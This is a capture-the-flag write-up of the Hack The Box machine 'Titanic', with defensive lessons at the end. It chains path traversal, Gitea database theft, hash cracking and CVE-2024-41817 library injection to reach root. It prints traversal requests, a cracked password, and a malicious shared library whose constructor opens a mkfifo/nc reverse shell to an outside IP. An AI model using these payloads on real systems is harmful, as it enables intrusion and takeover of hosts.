~/writeups_
Hack The BoxEasyLinux

Titanic

A ticket-booking site leaks files through an unauthenticated arbitrary file read on its /download endpoint. A second vHost running Gitea reveals a docker-compose bind mount, which we use to read the Gitea config and pull its SQLite database off disk. Cracking the developer PBKDF2 hash gives SSH access, and a root cron running a vulnerable ImageMagick (CVE-2024-41817) with an empty LD_LIBRARY_PATH is abused with a malicious shared library for root.

TL;DR

Titanic is an Easy-difficulty Linux machine running an Apache server that fronts a Flask ticket-booking app on titanic.htb. vHost fuzzing uncovers a second host, dev.titanic.htb, serving a Gitea instance. The booking app’s /download endpoint is vulnerable to an arbitrary file read (path traversal): a Gitea repo discloses a docker-compose.yml with a bind mount, which lets us locate and read Gitea’s app.ini and then pull its SQLite database straight off disk. The database yields the developer user’s PBKDF2 hash, which we crack and reuse over SSH. On the box, a root cron runs a vulnerable ImageMagick (7.1.1-35, CVE-2024-41817) from a directory we control while LD_LIBRARY_PATH is empty — dropping a malicious libxcb.so.1 there gets our code executed as root.

MachineOSDifficultyTarget IPPwnbox IP
TitanicLinuxEasy10.129.231.22110.10.15.144

Enumeration

We start by finding the open ports with a fast scan, then run service and script detection against just those ports:

Terminal window
ports=$(nmap -p- --min-rate=1000 -T4 10.129.231.221 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sCV 10.129.231.221 -p$ports

The scan returns only SSH and HTTP:

Terminal window
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80 redirects to http://titanic.htb/. Since we have no DNS for that name, the browser fails with “Server not found”, so we add a /etc/hosts mapping:

Terminal window
echo "10.129.231.221 titanic.htb" | sudo tee -a /etc/hosts

The site now loads — a marketing page for the Titanic cruise that lets visitors book trips:

IMG-Titanic-1

The redirect from the bare IP to a named host is a strong hint that Apache is using name-based virtual hosts, so we fuzz for additional vHosts, filtering out the default response’s line count:

Terminal window
ffuf -w ./subdomains-10000.txt -u http://titanic.htb -H "Host: FUZZ.titanic.htb" -fl 10

We get a single hit:

Terminal window
dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 207ms]

Add the new vHost to /etc/hosts as well:

Terminal window
echo "10.129.231.221 dev.titanic.htb" | sudo tee -a /etc/hosts

dev.titanic.htb serves a Gitea instance, which we will come back to shortly.

Foothold

Arbitrary file read in the booking endpoint

Proxying the booking flow through Burp Suite shows that submitting a booking sends the details as a POST, after which the app redirects to a /download endpoint to hand back the generated ticket as a JSON file:

IMG-Titanic-3

The ticket is referenced by a ticket parameter that looks like a filename. That is a classic recipe for path traversal, so we send the request to Repeater and change the parameter to /etc/passwd:

GET /download?ticket=/etc/passwd HTTP/1.1
Host: titanic.htb

The server happily returns the file — an unauthenticated arbitrary file read:

IMG-Titanic-5

Terminal window
HTTP/1.1 200 OK
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Disposition: attachment; filename="/etc/passwd"
Content-Type: application/octet-stream
...
root:x:0:0:root:/root:/bin/bash
...
developer:x:1000:1000:developer:/home/developer:/bin/bash
...

The Werkzeug/Python server header confirms the booking app is a Flask application, and /etc/passwd tells us there is one interesting human user: developer.

Mapping the Gitea deployment

With arbitrary file read in hand, we need to know what to read. The Gitea instance on dev.titanic.htb allows anonymous browsing, and it exposes two repositories owned by developer:

IMG-Titanic-7

The developer/docker-config repo is the useful one. Its gitea/docker-compose.yml shows that Gitea is itself deployed as a Docker container:

version: '3'
services:
gitea:
image: gitea/gitea
container_name: gitea
ports:
- "127.0.0.1:3000:3000"
- "127.0.0.1:2222:22" # Optional for SSH access
volumes:
- /home/developer/gitea/data:/data # Replace with your path
environment:
- USER_UID=1000
- USER_GID=1000
restart: always

The key detail is the bind mount: the host directory /home/developer/gitea/data is mounted at /data inside the container. So any path the container stores under /data/... lives on the host under /home/developer/gitea/data/... — exactly the kind of absolute path our file-read primitive needs.

Gitea’s main configuration file ships at /data/gitea/conf/app.ini inside the container, which maps to /home/developer/gitea/data/gitea/conf/app.ini on the host. We read it through the /download endpoint:

GET /download?ticket=/home/developer/gitea/data/gitea/conf/app.ini HTTP/1.1
Host: titanic.htb

The response reveals the database configuration:

[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =

Gitea is using SQLite, with the database file at /data/gitea/gitea.db — i.e. /home/developer/gitea/data/gitea/gitea.db on the host.

Extracting the Gitea database

A single SQLite file means we can simply download the whole database through the file-read bug by visiting the URL in a browser:

http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db

This saves a file named _home_developer_gitea_data_gitea_gitea.db. We open it with sqlite3:

Terminal window
sqlite3 _home_developer_gitea_data_gitea_gitea.db

List the tables and inspect the schema of the user table:

.tables
.schema user

The columns we care about for recovering credentials are name, passwd, passwd_hash_algo, and salt:

select name, passwd, passwd_hash_algo, salt from user;

IMG-Titanic-8

This gives us the stored hash, salt, and algorithm (pbkdf2) for the developer account.

Cracking the developer hash

Gitea stores passwords as PBKDF2-HMAC-SHA256, which Hashcat recognises as mode 10900. That mode expects the salt and digest in Base64, while Gitea stores them as hex, so we convert both and assemble the hash in the sha256:iterations:salt:digest format into hash.txt:

sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

Then run Hashcat against rockyou.txt:

Terminal window
hashcat -m 10900 -a 0 hash.txt ./rockyou.txt

Once it finishes, show the result:

Terminal window
hashcat -m 10900 hash.txt --show
Terminal window
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528

The developer password is 25282528.

User

The password is reused for the system account, so we log straight in over SSH:

Terminal window
ssh developer@titanic.htb

Entering 25282528 at the prompt lands us a shell as developer, and we read the user flag:

Terminal window
developer@titanic:~$ cat user.txt
338*****************************

Privilege Escalation

A root cron running ImageMagick

The developer home directory is unremarkable, so we look around the wider filesystem. In /opt/scripts there is a script that a root cron runs every minute:

Terminal window
developer@titanic:~$ cat /opt/scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

Listing the working directory confirms the script runs regularly — metadata.log is rewritten each minute:

Terminal window
developer@titanic:~$ ls -al /opt/app/static/assets/images/
total 1288
drwxrwx--- 2 root developer 4096 Feb 3 2025 .
drwxr-x--- 3 root developer 4096 Feb 7 2025 ..
-rw-r----- 1 root developer 291864 Feb 3 2025 entertainment.jpg
-rw-r----- 1 root developer 280854 Feb 3 2025 exquisite-dining.jpg
-rw-r----- 1 root developer 209762 Feb 3 2025 favicon.ico
-rw-r----- 1 root developer 232842 Feb 3 2025 home.jpg
-rw-r----- 1 root developer 280817 Feb 3 2025 luxury-cabins.jpg
-rw-r----- 1 root developer 442 Nov 8 07:45 metadata.log

Two things stand out: the script runs magick as root, and crucially the directory it cds into — /opt/app/static/assets/images — is group-writable by developer (drwxrwx--- root developer). That means we can drop files into the exact directory the privileged process executes from.

We check the ImageMagick version:

Terminal window
developer@titanic:~$ /usr/bin/magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org

CVE-2024-41817 — ImageMagick library injection

ImageMagick 7.1.1-35 is vulnerable to CVE-2024-41817, an arbitrary-code-execution flaw in how the binary resolves shared libraries. When LD_LIBRARY_PATH is unset or contains an empty element, ImageMagick ends up searching its current working directory for libraries it loads at startup. We confirm the variable is empty in the cron’s environment, and because the cron cds into our writable images directory, we can plant a malicious libxcb.so.1 there and have the root process load it.

The payload is a shared library with a constructor function — code that runs automatically as soon as the library is loaded, before magick does any real work.

Getting root

First, start a listener on the Pwnbox:

Terminal window
nc -lvnp 9001

Then, as developer, compile a malicious libxcb.so.1 directly into the cron’s working directory. Its constructor fires a reverse shell back to us:

Terminal window
cd /opt/app/static/assets/images
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.144 9001 >/tmp/f");
exit(0);
}
EOF

Within a minute the cron fires, magick loads our library from its working directory, and the constructor executes as root, giving us a shell on the listener:

IMG-Titanic-10

We read the final flag:

Terminal window
# cat /root/root.txt
721*****************************
Rooted

Arbitrary file read on /download → read Gitea’s docker-compose.yml + app.ini and exfiltrate gitea.db → crack the developer PBKDF2 hash → SSH as developer; a root cron runs ImageMagick 7.1.1-35 (CVE-2024-41817) from a group-writable directory with an empty LD_LIBRARY_PATH → plant libxcb.so.1 → root.

Lessons Learned

  • Never build file paths from user input. The /download endpoint handed its ticket parameter straight to a file read, turning a ticket downloader into a full arbitrary file read. Serve downloads by an opaque ID mapped server-side to a known file, and reject any path containing traversal sequences or absolute paths.
  • Config and database files are secrets. A readable app.ini and an on-disk SQLite database were all it took to recover a user’s password hash. Keep Gitea’s data directory off any path reachable through the web app, and treat the whole directory — not just the .ini — as sensitive.
  • Don’t run privileged jobs from writable, relative directories. The cron cd-ed into a directory that developer could write to and then executed a binary that loads libraries from .. Pin LD_LIBRARY_PATH explicitly, use absolute paths, and make sure directories a root process touches are not writable by lower-privileged users.
  • Keep ImageMagick patched. CVE-2024-41817 is a known, version-specific library-loading flaw. Tracking upstream advisories and updating promptly would have closed this path entirely.